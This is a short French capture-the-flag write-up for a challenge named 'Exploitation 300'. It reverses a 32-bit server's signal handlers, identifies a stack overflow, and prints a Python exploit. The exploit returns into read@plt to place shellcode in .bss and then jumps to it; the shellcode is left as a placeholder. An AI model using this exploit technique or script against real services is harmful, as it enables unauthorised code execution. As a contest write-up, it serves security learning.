FR EN

Exploitation 300

Exploitation 400 >>

Exploitation 300 était un exécutable 32-bits, strippé et compilé stackexec. L'exécutable ouvrait une socket serveur sur le port 4842. La petite originalité était que les messages étaient en chinois donc utiliser les strings pour savoir ce que l'exec faisait n'était pas possible (pour moi du moins). Ceci dit, ça ne gênait vraiment pas puisqu'il n'y avait pas grand chose à reverser.

Avant l'ouverture de la socket, la fonction à 0x08048A0D mettait différents handlers en place pour SIGUSR1, SIGUSR2 et SIGSYS (appellé quand un appel système n'a pas pu se terminer correctement).

sub esp, 1Ch
mov [esp+1Ch+handler], offset handler1
mov [esp+1Ch+sig], 0Ch ; sig
call _signal
mov [esp+1Ch+handler], offset handler2
mov [esp+1Ch+sig], 0Ah ; sig
call _signal
mov [esp+1Ch+handler], offset handler3
mov [esp+1Ch+sig], 1Fh ; sig
call _signal
mov eax, 1
add esp, 1Ch
retn

Le premier imprime un message d'erreur et quitte, le second fait un setuid/setgid vers les id de l'utilisateur liaotian et chdir vers son home, puis s'envoit un signal SIGSYS à 0x08048906 (normal ...). Le handler 3 appelle la fonction à 0x0804886e qui fait un read() de 0x800 octets sur la stack dans un buffer de 0x146 (toujours normal).

La boucle est bouclée quand la fonction qui accepte un client sur la socket 0x08048910 appelle le deuxième handler. Avec tout ça, on a donc un stack-based overflow de base, avec à peu près toutes les possibilités d'exploitation ouvertes.

Le plus générique à tester en premier lieu, pour ne pas avoir à s'embêter à trouver de chunks où à disclose les adresses de la GOT, c'est de faire une exploitation en 2 stages sur le bss : on retourne dans read@plt pour écrire le shellcode dans le bss, puis on retourne dans le bss.

#!/usr/bin/python

import struct
import socket
import time

HOST = "128.238.66.218"
PORT = 4842

shellcode = [ shellcode file reader de "./key" ]

addr_read = struct.pack("<I", 0x08048600)
addr_bss = struct.pack("<I", 0x0804b06c)

payload = 'A'*326 + addr_read + addr_bss + struct.pack("<I", 4) + addr_bss + struct.pack("<I", 100)

s = socket.socket()
s.connect((HOST, PORT)) 
s.recv(1024)
s.sendall(payload)
time.sleep(1)
s.sendall(shellcode)
print s.recv(1024)
print s.recv(1024)
s.close()

Et voilà, je n'ai pas gardé le flag, mais rien de bien important.

Exploitation 400 >>